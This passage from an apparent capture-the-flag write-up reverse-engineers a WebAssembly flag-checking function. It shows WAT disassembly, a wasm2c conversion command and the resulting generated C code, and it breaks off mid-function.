$l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l254 local.get $l342 local.set $l86 local.get $l86 local.get $l254 i32.add local.set $l130 local.get $l130 local.set $l342 local.get $l231 local.set $l88 local.get $l88 i32.const -1 i32.xor local.set $l286 local.get $l286 i32.const 165 i32.and local.set $l170 local.get $l231 local.set $l89 local.get $l89 i32.const -166 i32.and local.set $l171 local.get $l170 local.get $l171 i32.or local.set $l318 local.get $l318 i32.const 148 i32.sub local.set $l350 block $B21 (result i32) local.get $l350 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l256 local.get $l342 local.set $l90 local.get $l90 local.get $l256 i32.add local.set $l131 local.get $l131 local.set $l342 local.get $l232 local.set $l91 local.get $l91 i32.const -1 i32.xor local.set $l287 local.get $l287 i32.const 12 i32.and local.set $l172 local.get $l232 local.set $l92 local.get $l92 i32.const -13 i32.and local.set $l173 local.get $l172 local.get $l173 i32.or local.set $l319 local.get $l319 i32.const 83 i32.sub local.set $l351 block $B22 (result i32) local.get $l351 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l257 local.get $l342 local.set $l93 local.get $l93 local.get $l257 i32.add local.set $l132 local.get $l132 local.set $l342 local.get $l233 local.set $l94 local.get $l94 i32.const -1 i32.xor local.set $l288 local.get $l288 i32.const 182 i32.and local.set $l174 local.get $l233 local.set $l95 local.get $l95 i32.const -183 i32.and local.set $l175 local.get $l174 local.get $l175 i32.or local.set $l320 local.get $l320 i32.const 134 i32.sub local.set $l352 block $B23 (result i32) local.get $l352 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l258 local.get $l342 local.set $l96 local.get $l96 local.get $l258 i32.add local.set $l134 local.get $l134 local.set $l342 local.get $l234 local.set $l97 local.get $l97 i32.const -1 i32.xor local.set $l289 local.get $l289 i32.const 220 i32.and local.set $l176 local.get $l234 local.set $l99 local.get $l99 i32.const -221 i32.and local.set $l177 local.get $l176 local.get $l177 i32.or local.set $l321 local.get $l321 i32.const 239 i32.sub local.set $l353 block $B24 (result i32) local.get $l353 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l259 local.get $l342 local.set $l100 local.get $l100 local.get $l259 i32.add local.set $l135 local.get $l135 local.set $l342 local.get $l235 local.set $l101 local.get $l101 i32.const -1 i32.xor local.set $l291 local.get $l291 i32.const 140 i32.and local.set $l178 local.get $l235 local.set $l102 local.get $l102 i32.const -141 i32.and local.set $l179 local.get $l178 local.get $l179 i32.or local.set $l322 local.get $l322 i32.const 191 i32.sub local.set $l354 block $B25 (result i32) local.get $l354 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l260 local.get $l342 local.set $l103 local.get $l103 local.get $l260 i32.add local.set $l136 local.get $l136 local.set $l342 local.get $l236 local.set $l104 local.get $l104 i32.const -1 i32.xor local.set $l292 local.get $l292 i32.const 149 i32.and local.set $l181 local.get $l236 local.set $l105 local.get $l105 i32.const -150 i32.and local.set $l182 local.get $l181 local.get $l182 i32.or local.set $l323 local.get $l323 i32.const 162 i32.sub local.set $l355 block $B26 (result i32) local.get $l355 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l261 local.get $l342 local.set $l106 local.get $l106 local.get $l261 i32.add local.set $l137 local.get $l137 local.set $l342 local.get $l237 local.set $l107 local.get $l107 i32.const -1 i32.xor local.set $l293 local.get $l293 i32.const 18 i32.and local.set $l183 local.get $l237 local.set $l108 local.get $l108 i32.const -19 i32.and local.set $l184 local.get $l183 local.get $l184 i32.or local.set $l324 local.get $l324 i32.const 32 i32.sub local.set $l356 block $B27 (result i32) local.get $l356 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l262 local.get $l342 local.set $l110 local.get $l110 local.get $l262 i32.add local.set $l138 local.get $l138 local.set $l342 local.get $l238 local.set $l111 local.get $l111 i32.const -1 i32.xor local.set $l294 local.get $l294 i32.const 168 i32.and local.set $l186 local.get $l238 local.set $l112 local.get $l112 i32.const -169 i32.and local.set $l187 local.get $l186 local.get $l187 i32.or local.set $l325 local.get $l325 i32.const 144 i32.sub local.set $l357 block $B28 (result i32) local.get $l357 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l263 local.get $l342 local.set $l113 local.get $l113 local.get $l263 i32.add local.set $l139 local.get $l139 local.set $l342 local.get $l239 local.set $l114 local.get $l114 i32.const -1 i32.xor local.set $l295 local.get $l295 i32.const 234 i32.and local.set $l188 local.get $l239 local.set $l115 local.get $l115 i32.const -235 i32.and local.set $l189 local.get $l188 local.get $l189 i32.or local.set $l327 local.get $l327 i32.const 219 i32.sub local.set $l358 block $B29 (result i32) local.get $l358 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l264 local.get $l342 local.set $l116 local.get $l116 local.get $l264 i32.add local.set $l140 local.get $l140 local.set $l342 local.get $l240 local.set $l117 local.get $l117 i32.const -1 i32.xor local.set $l296 local.get $l296 i32.const 173 i32.and local.set $l190 local.get $l240 local.set $l118 local.get $l118 i32.const -174 i32.and local.set $l191 local.get $l190 local.get $l191 i32.or local.set $l328 local.get $l328 i32.const 149 i32.sub local.set $l360 block $B30 (result i32) local.get $l360 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l265 local.get $l342 local.set $l119 local.get $l119 local.get $l265 i32.add local.set $l141 local.get $l141 local.set $l342 local.get $l242 local.set $l121 local.get $l121 i32.const -1 i32.xor local.set $l298 local.get $l298 i32.const 39 i32.and local.set $l192 local.get $l242 local.set $l122 local.get $l122 i32.const -40 i32.and local.set $l193 local.get $l192 local.get $l193 i32.or local.set $l329 local.get $l329 i32.const 18 i32.sub local.set $l361 block $B31 (result i32) local.get $l361 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l267 local.get $l342 local.set $l123 local.get $l123 local.get $l267 i32.add local.set $l142 local.get $l142 local.set $l342 local.get $l342 local.set $l124 local.get $l375 global.set $g2 local.get $l124 return) (global $g2 (mut i32) (i32.const 2080)) (global $g3 (mut i32) (i32.const 5244960)) (global $g4 (mut f32) (f32.const 0x0p+0 (;=0;))) (export "_ver" (func $_ver))) ``` </details> Still, not very readable. At least we can identify the (max?) number of characters in the flag, based on the number of parameters that `ver` receives: ``` (func $_ver (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32) (param $p5 i32) (param $p6 i32) (param $p7 i32) (param $p8 i32) (param $p9 i32) (param $p10 i32) (param $p11 i32) (param $p12 i32) (param $p13 i32) (param $p14 i32) (param $p15 i32) (param $p16 i32) (param $p17 i32) (param $p18 i32) (param $p19 i32) (param $p20 i32) (param $p21 i32) (param $p22 i32) (param $p23 i32) (param $p24 i32) (param $p25 i32) (param $p26 i32) (param $p27 i32) (param $p28 i32) (param $p29 i32) (param $p30 i32) (result i32) ``` So the next phase would be to convert the `wat` file to good old `c`: ```console ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ ~/utils/web/wabt/build/wasm2c script.wasm -o script.c ``` We get: <details> <summary>Click to expand!</summary> ```c /* Automically generated by wasm2c */ #include <math.h> #include <string.h> #include "script.h" #define UNLIKELY(x) __builtin_expect(!!(x), 0) #define LIKELY(x) __builtin_expect(!!(x), 1) #define TRAP(x) (wasm_rt_trap(WASM_RT_TRAP_##x), 0) #define FUNC_PROLOGUE \ if (++wasm_rt_call_stack_depth > WASM_RT_MAX_CALL_STACK_DEPTH) \ TRAP(EXHAUSTION) #define FUNC_EPILOGUE --wasm_rt_call_stack_depth #define UNREACHABLE TRAP(UNREACHABLE) #define CALL_INDIRECT(table, t, ft, x, ...) \ (LIKELY((x) < table.size && table.data[x].func && \ table.data[x].func_type == func_types[ft]) \ ? ((t)table.data[x].func)(__VA_ARGS__) \ : TRAP(CALL_INDIRECT)) #if WASM_RT_MEMCHECK_SIGNAL_HANDLER #define MEMCHECK(mem, a, t) #else #define MEMCHECK(mem, a, t) \ if (UNLIKELY((a) + sizeof(t) > mem->size)) TRAP(OOB) #endif #if WABT_BIG_ENDIAN static inline void load_data(void *dest, const void *src, size_t n) { size_t i = 0; u8 *dest_chars = dest; memcpy(dest, src, n); for (i = 0; i < (n>>1); i++) { u8 cursor = dest_chars[i]; dest_chars[i] = dest_chars[n - i - 1]; dest_chars[n - i - 1] = cursor; } } #define LOAD_DATA(m, o, i, s) load_data(&(m.data[m.size - o - s]), i, s) #define DEFINE_LOAD(name, t1, t2, t3) \ static inline t3 name(wasm_rt_memory_t* mem, u64 addr) { \ MEMCHECK(mem, addr, t1); \ t1 result; \ __builtin_memcpy(&result, &mem->data[mem->size - addr - sizeof(t1)], sizeof(t1)); \ return (t3)(t2)result; \ } #define DEFINE_STORE(name, t1, t2) \ static inline void name(wasm_rt_memory_t* mem, u64 addr, t2 value) { \ MEMCHECK(mem, addr, t1); \ t1 wrapped = (t1)value; \ __builtin_memcpy(&mem->data[mem->size - addr - sizeof(t1)], &wrapped, sizeof(t1)); \ } #else static inline void load_data(void *dest, const void *src, size_t n) { memcpy(dest, src, n); } #define LOAD_DATA(m, o, i, s) load_data(&(m.data[o]), i, s) #define DEFINE_LOAD(name, t1, t2, t3) \ static inline t3 name(wasm_rt_memory_t* mem, u64 addr) { \ MEMCHECK(mem, addr, t1); \ t1 result; \ __builtin_memcpy(&result, &mem->data[addr], sizeof(t1)); \ return (t3)(t2)result; \ } #define DEFINE_STORE(name, t1, t2) \ static inline void name(wasm_rt_memory_t* mem, u64 addr, t2 value) { \ MEMCHECK(mem, addr, t1); \ t1 wrapped = (t1)value; \ __builtin_memcpy(&mem->data[addr], &wrapped, sizeof(t1)); \ } #endif DEFINE_LOAD(i32_load, u32, u32, u32); DEFINE_LOAD(i64_load, u64, u64, u64); DEFINE_LOAD(f32_load, f32, f32, f32); DEFINE_LOAD(f64_load, f64, f64, f64); DEFINE_LOAD(i32_load8_s, s8, s32, u32); DEFINE_LOAD(i64_load8_s, s8, s64, u64); DEFINE_LOAD(i32_load8_u, u8, u32, u32); DEFINE_LOAD(i64_load8_u, u8, u64, u64); DEFINE_LOAD(i32_load16_s, s16, s32, u32); DEFINE_LOAD(i64_load16_s, s16, s64, u64); DEFINE_LOAD(i32_load16_u, u16, u32, u32); DEFINE_LOAD(i64_load16_u, u16, u64, u64); DEFINE_LOAD(i64_load32_s, s32, s64, u64); DEFINE_LOAD(i64_load32_u, u32, u64, u64); DEFINE_STORE(i32_store, u32, u32); DEFINE_STORE(i64_store, u64, u64); DEFINE_STORE(f32_store, f32, f32); DEFINE_STORE(f64_store, f64, f64); DEFINE_STORE(i32_store8, u8, u32); DEFINE_STORE(i32_store16, u16, u32); DEFINE_STORE(i64_store8, u8, u64); DEFINE_STORE(i64_store16, u16, u64); DEFINE_STORE(i64_store32, u32, u64); #define I32_CLZ(x) ((x) ? __builtin_clz(x) : 32) #define I64_CLZ(x) ((x) ? __builtin_clzll(x) : 64) #define I32_CTZ(x) ((x) ? __builtin_ctz(x) : 32) #define I64_CTZ(x) ((x) ? __builtin_ctzll(x) : 64) #define I32_POPCNT(x) (__builtin_popcount(x)) #define I64_POPCNT(x) (__builtin_popcountll(x)) #define DIV_S(ut, min, x, y) \ ((UNLIKELY((y) == 0)) ? TRAP(DIV_BY_ZERO) \ : (UNLIKELY((x) == min && (y) == -1)) ? TRAP(INT_OVERFLOW) \ : (ut)((x) / (y))) #define REM_S(ut, min, x, y) \ ((UNLIKELY((y) == 0)) ? TRAP(DIV_BY_ZERO) \ : (UNLIKELY((x) == min && (y) == -1)) ? 0 \ : (ut)((x) % (y))) #define I32_DIV_S(x, y) DIV_S(u32, INT32_MIN, (s32)x, (s32)y) #define I64_DIV_S(x, y) DIV_S(u64, INT64_MIN, (s64)x, (s64)y) #define I32_REM_S(x, y) REM_S(u32, INT32_MIN, (s32)x, (s32)y) #define I64_REM_S(x, y) REM_S(u64, INT64_MIN, (s64)x, (s64)y) #define DIVREM_U(op, x, y) \ ((UNLIKELY((y) == 0)) ? TRAP(DIV_BY_ZERO) : ((x) op (y))) #define DIV_U(x, y) DIVREM_U(/, x, y) #define REM_U(x, y) DIVREM_U(%, x, y) #define ROTL(x, y, mask) \ (((x) << ((y) & (mask))) | ((x) >> (((mask) - (y) + 1) & (mask)))) #define ROTR(x, y, mask) \ (((x) >> ((y) & (mask))) | ((x) << (((mask) - (y) + 1) & (mask)))) #define I32_ROTL(x, y) ROTL(x, y, 31) #define I64_ROTL(x, y) ROTL(x, y, 63) #define I32_ROTR(x, y) ROTR(x, y, 31) #define I64_ROTR(x, y) ROTR(x, y, 63) #define FMIN(x, y) \ ((UNLIKELY((x) != (x))) ? NAN \ : (UNLIKELY((y) != (y))) ? NAN \ : (UNLIKELY((x) == 0 && (y) == 0)) ? (signbit(x) ? x : y) \ : (x < y) ? x : y) #define FMAX(x, y) \ ((UNLIKELY((x) != (x))) ? NAN \ : (UNLIKELY((y) != (y))) ? NAN \ : (UNLIKELY((x) == 0 && (y) == 0)) ? (signbit(x) ? y : x) \ : (x > y) ? x : y) #define TRUNC_S(ut, st, ft, min, minop, max, x) \ ((UNLIKELY((x) != (x))) ? TRAP(INVALID_CONVERSION) \ : (UNLIKELY(!((x)minop(min) && (x) < (max)))) ? TRAP(INT_OVERFLOW) \ : (ut)(st)(x)) #define I32_TRUNC_S_F32(x) TRUNC_S(u32, s32, f32, (f32)INT32_MIN, >=, 2147483648.f, x) #define I64_TRUNC_S_F32(x) TRUNC_S(u64, s64, f32, (f32)INT64_MIN, >=, (f32)INT64_MAX, x) #define I32_TRUNC_S_F64(x) TRUNC_S(u32, s32, f64, -2147483649., >, 2147483648., x) #define I64_TRUNC_S_F64(x) TRUNC_S(u64, s64, f64, (f64)INT64_MIN, >=, (f64)INT64_MAX, x) #define TRUNC_U(ut, ft, max, x) \ ((UNLIKELY((x) != (x))) ? TRAP(INVALID_CONVERSION) \ : (UNLIKELY(!((x) > (ft)-1 && (x) < (max)))) ? TRAP(INT_OVERFLOW) \ : (ut)(x)) #define I32_TRUNC_U_F32(x) TRUNC_U(u32, f32, 4294967296.f, x) #define I64_TRUNC_U_F32(x) TRUNC_U(u64, f32, (f32)UINT64_MAX, x) #define I32_TRUNC_U_F64(x) TRUNC_U(u32, f64, 4294967296., x) #define I64_TRUNC_U_F64(x) TRUNC_U(u64, f64, (f64)UINT64_MAX, x) #define DEFINE_REINTERPRET(name, t1, t2) \ static inline t2 name(t1 x) { \ t2 result; \ memcpy(&result, &x, sizeof(result)); \ return result; \ } DEFINE_REINTERPRET(f32_reinterpret_i32, u32, f32) DEFINE_REINTERPRET(i32_reinterpret_f32, f32, u32) DEFINE_REINTERPRET(f64_reinterpret_i64, u64, f64) DEFINE_REINTERPRET(i64_reinterpret_f64, f64, u64) static u32 func_types[2]; static void init_func_types(void) { func_types[0] = wasm_rt_register_func_type(1, 0, WASM_RT_I32); func_types[1] = wasm_rt_register_func_type(31, 1, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32, WASM_RT_I32); } static u32 w2c__ver(u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32); static u32 w2c_g2; static u32 w2c_g3; static f32 w2c_g4; static void init_globals(void) { w2c_g2 = 2080u; w2c_g3 = 5244960u; w2c_g4 = 0; } static u32 w2c__ver(u32 w2c_p0, u32 w2c_p1, u32 w2c_p2, u32 w2c_p3, u32 w2c_p4, u32 w2c_p5, u32 w2c_p6, u32 w2c_p7, u32 w2c_p8, u32 w2c_p9, u32 w2c_p10, u32 w2c_p11, u32 w2c_p12, u32 w2c_p13, u32 w2c_p14, u32 w2c_p15, u32 w2c_p16, u32 w2c_p17, u32 w2c_p18, u32 w2c_p19, u32 w2c_p20, u32 w2c_p21, u32 w2c_p22, u32 w2c_p23, u32 w2c_p24, u32 w2c_p25, u32 w2c_p26, u32 w2c_p27, u32 w2c_p28, u32 w2c_p29, u32 w2c_p30) { u32 w2c_l31 = 0, w2c_l32 = 0, w2c_l33 = 0, w2c_l34 = 0, w2c_l35 = 0, w2c_l36 = 0, w2c_l37 = 0, w2c_l38 = 0, w2c_l39 = 0, w2c_l40 = 0, w2c_l41 = 0, w2c_l42 = 0, w2c_l43 = 0, w2c_l44 = 0, w2c_l45 = 0, w2c_l46 = 0, w2c_l47 = 0, w2c_l48 = 0, w2c_l49 = 0, w2c_l50 = 0, w2c_l51 = 0, w2c_l52 = 0, w2c_l53 = 0, w2c_l54 = 0, w2c_l55 = 0, w2c_l56 = 0, w2c_l57 = 0, w2c_l58 = 0, w2c_l59 = 0, w2c_l60 = 0, w2c_l61 = 0, w2c_l62 = 0, w2c_l63 = 0, w2c_l64 = 0, w2c_l65 = 0, w2c_l66 = 0, w2c_l67 = 0, w2c_l68 = 0, w2c_l69 = 0, w2c_l70 = 0, w2c_l71 = 0, w2c_l72 = 0, w2c_l73 = 0, w2c_l74 = 0, w2c_l75 = 0, w2c_l76 = 0, w2c_l77 = 0, w2c_l78 = 0, w2c_l79 = 0, w2c_l80 = 0, w2c_l81 = 0, w2c_l82 = 0, w2c_l83 = 0, w2c_l84 = 0, w2c_l85 = 0, w2c_l86 = 0, w2c_l87 = 0, w2c_l88 = 0, w2c_l89 = 0, w2c_l90 = 0, w2c_l91 = 0, w2c_l92 = 0, w2c_l93 = 0, w2c_l94 = 0, w2c_l95 = 0, w2c_l96 = 0, w2c_l97 = 0, w2c_l98 = 0, w2c_l99 = 0, w2c_l100 = 0, w2c_l101 = 0, w2c_l102 = 0, w2c_l103 = 0, w2c_l104 = 0, w2c_l105 = 0, w2c_l106 = 0, w2c_l107 = 0, w2c_l108 = 0, w2c_l109 = 0, w2c_l110 = 0, w2c_l111 = 0, w2c_l112 = 0, w2c_l113 = 0, w2c_l114 = 0, w2c_l115 = 0, w2c_l116 = 0, w2c_l117 = 0, w2c_l118 = 0, w2c_l119 = 0, w2c_l120 = 0, w2c_l121 = 0, w2c_l122 = 0, w2c_l123 = 0, w2c_l124 = 0, w2c_l125 = 0, w2c_l126 = 0, w2c_l127 = 0, w2c_l128 = 0, w2c_l129 = 0, w2c_l130 = 0, w2c_l131 = 0, w2c_l132 = 0, w2c_l133 = 0, w2c_l134 = 0, w2c_l135 = 0, w2c_l136 = 0, w2c_l137 = 0, w2c_l138 = 0, w2c_l139 = 0, w2c_l140 = 0, w2c_l141 = 0, w2c_l142 = 0, w2c_l143 = 0, w2c_l144 = 0, w2c_l145 = 0, w2c_l146 = 0, w2c_l147 = 0, w2c_l148 = 0, w2c_l149 = 0, w2c_l150 = 0, w2c_l151 = 0, w2c_l152 = 0, w2c_l153 = 0, w2c_l154 = 0, w2c_l155 = 0, w2c_l156 = 0, w2c_l157 = 0, w2c_l158 = 0, w2c_l159 = 0, w2c_l160 = 0, w2c_l161 = 0, w2c_l162 = 0, w2c_l163 = 0, w2c_l164 = 0, w2c_l165 = 0, w2c_l166 = 0, w2c_l167 = 0, w2c_l168 = 0, w2c_l169 = 0, w2c_l170 = 0, w2c_l171 = 0, w2c_l172 = 0, w2c_l173 = 0, w2c_l174 = 0, w2c_l175 = 0, w2c_l176 = 0, w2c_l177 = 0, w2c_l178 = 0, w2c_l179 = 0, w2c_l180 = 0, w2c_l181 = 0, w2c_l182 = 0, w2c_l183 = 0, w2c_l184 = 0, w2c_l185 = 0, w2c_l186 = 0, w2c_l187 = 0, w2c_l188 = 0, w2c_l189 = 0, w2c_l190 = 0, w2c_l191 = 0, w2c_l192 = 0, w2c_l193 = 0, w2c_l194 = 0, w2c_l195 = 0, w2c_l196 = 0, w2c_l197 = 0, w2c_l198 = 0, w2c_l199 = 0, w2c_l200 = 0, w2c_l201 = 0, w2c_l202 = 0, w2c_l203 = 0, w2c_l204 = 0, w2c_l205 = 0, w2c_l206 = 0, w2c_l207 = 0, w2c_l208 = 0, w2c_l209 = 0, w2c_l210 = 0, w2c_l211 = 0, w2c_l212 = 0, w2c_l213 = 0, w2c_l214 = 0, w2c_l215 = 0, w2c_l216 = 0, w2c_l217 = 0, w2c_l218 = 0, w2c_l219 = 0, w2c_l220 = 0, w2c_l221 = 0, w2c_l222 = 0, w2c_l223 = 0, w2c_l224 = 0, w2c_l225 = 0, w2c_l226 = 0, w2c_l227 = 0, w2c_l228 = 0, w2c_l229 = 0, w2c_l230 = 0, w2c_l231 = 0, w2c_l232 = 0, w2c_l233 = 0, w2c_l234 = 0, w2c_l235 = 0, w2c_l236 = 0, w2c_l237 = 0, w2c_l238 = 0, w2c_l239 = 0, w2c_l240 = 0, w2c_l241 = 0, w2c_l242 = 0, w2c_l243 = 0, w2c_l244 = 0, w2c_l245 = 0, w2c_l246 = 0, w2c_l247 = 0, w2c_l248 = 0, w2c_l249 = 0, w2c_l250 = 0, w2c_l251 = 0, w2c_l252 = 0, w2c_l253 = 0, w2c_l254 = 0, w2c_l255 = 0, w2c_l256 = 0, w2c_l257 = 0, w2c_l258 = 0, w2c_l259 = 0, w2c_l260 = 0, w2c_l261 = 0, w2c_l262 = 0, w2c_l263 = 0, w2c_l264 = 0, w2c_l265 = 0, w2c_l266 = 0, w2c_l267 = 0, w2c_l268 = 0, w2c_l269 = 0, w2c_l270 = 0, w2c_l271 = 0, w2c_l272 = 0, w2c_l273 = 0, w2c_l274 = 0, w2c_l275 = 0, w2c_l276 = 0, w2c_l277 = 0, w2c_l278 = 0, w2c_l279 = 0, w2c_l280 = 0, w2c_l281 = 0, w2c_l282 = 0, w2c_l283 = 0, w2c_l284 = 0, w2c_l285 = 0, w2c_l286 = 0, w2c_l287 = 0, w2c_l288 = 0, w2c_l289 = 0, w2c_l290 = 0, w2c_l291 = 0, w2c_l292 = 0, w2c_l293 = 0, w2c_l294 = 0, w2c_l295 = 0, w2c_l296 = 0, w2c_l297 = 0, w2c_l298 = 0, w2c_l299 = 0, w2c_l300 = 0, w2c_l301 = 0, w2c_l302 = 0, w2c_l303 = 0, w2c_l304 = 0, w2c_l305 = 0, w2c_l306 = 0, w2c_l307 = 0, w2c_l308 = 0, w2c_l309 = 0, w2c_l310 = 0, w2c_l311 = 0, w2c_l312 = 0, w2c_l313 = 0, w2c_l314 = 0, w2c_l315 = 0, w2c_l316 = 0, w2c_l317 = 0, w2c_l318 = 0, w2c_l319 = 0, w2c_l320 = 0, w2c_l321 = 0, w2c_l322 = 0, w2c_l323 = 0, w2c_l324 = 0, w2c_l325 = 0, w2c_l326 = 0, w2c_l327 = 0, w2c_l328 = 0, w2c_l329 = 0, w2c_l330 = 0, w2c_l331 = 0, w2c_l332 = 0, w2c_l333 = 0, w2c_l334 = 0, w2c_l335 = 0, w2c_l336 = 0, w2c_l337 = 0, w2c_l338 = 0, w2c_l339 = 0, w2c_l340 = 0, w2c_l341 = 0, w2c_l342 = 0, w2c_l343 = 0, w2c_l344 = 0, w2c_l345 = 0, w2c_l346 = 0, w2c_l347 = 0, w2c_l348 = 0, w2c_l349 = 0, w2c_l350 = 0, w2c_l351 = 0, w2c_l352 = 0, w2c_l353 = 0, w2c_l354 = 0, w2c_l355 = 0, w2c_l356 = 0, w2c_l357 = 0, w2c_l358 = 0, w2c_l359 = 0, w2c_l360 = 0, w2c_l361 = 0, w2c_l362 = 0, w2c_l363 = 0, w2c_l364 = 0, w2c_l365 = 0, w2c_l366 = 0, w2c_l367 = 0, w2c_l368 = 0, w2c_l369 = 0, w2c_l370 = 0, w2c_l371 = 0, w2c_l372 = 0, w2c_l373 = 0, w2c_l374 = 0, w2c_l375 = 0, w2c_l376 = 0; FUNC_PROLOGUE; u32 w2c_i0, w2c_i1, w2c_i2, w2c_i3; w2c_i0 = w2c_g2; w2c_l375 = w2c_i0; w2c_i0 = w2c_g2; w2c_i1 = 128u; w2c_i0 += w2c_i1; w2c_g2 = w2c_i0; w2c_i0 = w2c_g2; w2c_i1 = w2c_g3; w2c_i0 = (u32)((s32)w2c_i0 >= (s32)w2c_i1); if (w2c_i0) { w2c_i0 = 128u; //(*Z_envZ_abortStackOverflowZ_vi)(w2c_i0); } w2c_i0 = w2c_p0; w2c_l218 = w2c_i0; w2c_i0 = w2c_p1; w2c_l219 = w2c_i0; w2c_i0 = w2c_p2; w2c_l230 = w2c_i0; w2c_i0 = w2c_p3; w2c_l241 = w2c_i0; w2c_i0 = w2c_p4; w2c_l243 = w2c_i0; w2c_i0 = w2c_p5; w2c_l244 = w2c_i0; w2c_i0 = w2c_p6; w2c_l245 = w2c_i0; w2c_i0 = w2c_p7; w2c_l246 = w2c_i0; w2c_i0 = w2c_p8; w2c_l247 = w2c_i0; w2c_i0 = w2c_p9; w2c_l248 = w2c_i0; w2c_i0 = w2c_p10; w2c_l220 = w2c_i0; w2c_i0 = w2c_p11; w2c_l221 = w2c_i0; w2c_i0 = w2c_p12; w2c_l222 = w2c_i0; w2c_i0 = w2c_p13; w2c_l223 = w2c_i0; w2c_i0 = w2c_p14; w2c_l224 = w2c_i0; w2c_i0 = w2c_p15; w2c_l225 = w2c_i0; w2c_i0 = w2c_p16; w2c_l226 = w2c_i0; w2c_i0 = w2c_p17; w2c_l227 = w2c_i0; w2c_i0 = w2c_p18; w2c_l228 = w2c_i0; w2c_i0 = w2c_p19; w2c_l229 = w2c_i0; w2c_i0 = w2c_p20; w2c_l231 = w2c_i0; w2c_i0 = w2c_p21; w2c_l232 = w2c_i0; w2c_i0 = w2c_p22; w2c_l233 = w2c_i0; w2c_i0 = w2c_p23; w2c_l234 = w2c_i0; w2c_i0 = w2c_p24; w2c_l235 = w2c_i0; w2c_i0 = w2c_p25; w2c_l236 = w2c_i0; w2c_i0 = w2c_p26; w2c_l237 = w2c_i0; w2c_i0 = w2c_p27; w2c_l238 = w2c_i0; w2c_i0 = w2c_p28; w2c_l239 = w2c_i0; w2c_i0 = w2c_p29; w2c_l240 = w2c_i0; w2c_i0 = w2c_p30; w2c_l242 = w2c_i0; w2c_i0 = 0u; w2c_l342 = w2c_i0; w2c_i0 = w2c_l218; w2c_l31 = w2c_i0; w2c_i0 = w2c_l31; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l280 = w2c_i0; w2c_i0 = w2c_l280; w2c_i1 = 167u; w2c_i0 &= w2c_i1; w2c_l156 = w2c_i0; w2c_i0 = w2c_l218; w2c_l32 = w2c_i0; w2c_i0 = w2c_l32; w2c_i1 = 4294967128u; w2c_i0 &= w2c_i1; w2c_l157 = w2c_i0; w2c_i0 = w2c_l156; w2c_i1 = w2c_l157; w2c_i0 |= w2c_i1; w2c_l311 = w2c_i0; w2c_i0 = w2c_l311; w2c_i1 = 193u; w2c_i0 -= w2c_i1; w2c_l343 = w2c_i0; w2c_i0 = w2c_l343; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l249 = w2c_i0; w2c_i0 = w2c_l342; w2c_l43 = w2c_i0; w2c_i0 = w2c_l43; w2c_i1 = w2c_l249; w2c_i0 += w2c_i1; w2c_l125 = w2c_i0; w2c_i0 = w2c_l125; w2c_l342 = w2c_i0; w2c_i0 = w2c_l219; w2c_l54 = w2c_i0; w2c_i0 = w2c_l54; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l297 = w2c_i0; w2c_i0 = w2c_l297; w2c_i1 = 16u; w2c_i0 &= w2c_i1; w2c_l196 = w2c_i0; w2c_i0 = w2c_l219; w2c_l65 = w2c_i0; w2c_i0 = w2c_l65; w2c_i1 = 4294967279u; w2c_i0 &= w2c_i1; w2c_l201 = w2c_i0; w2c_i0 = w2c_l196; w2c_i1 = w2c_l201; w2c_i0 |= w2c_i1; w2c_l334 = w2c_i0; w2c_i0 = w2c_l334; w2c_i1 = 32u; w2c_i0 -= w2c_i1; w2c_l367 = w2c_i0; w2c_i0 = w2c_l367; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l274 = w2c_i0; w2c_i0 = w2c_l342; w2c_l76 = w2c_i0; w2c_i0 = w2c_l76; w2c_i1 = w2c_l274; w2c_i0 += w2c_i1; w2c_l152 = w2c_i0; w2c_i0 = w2c_l152; 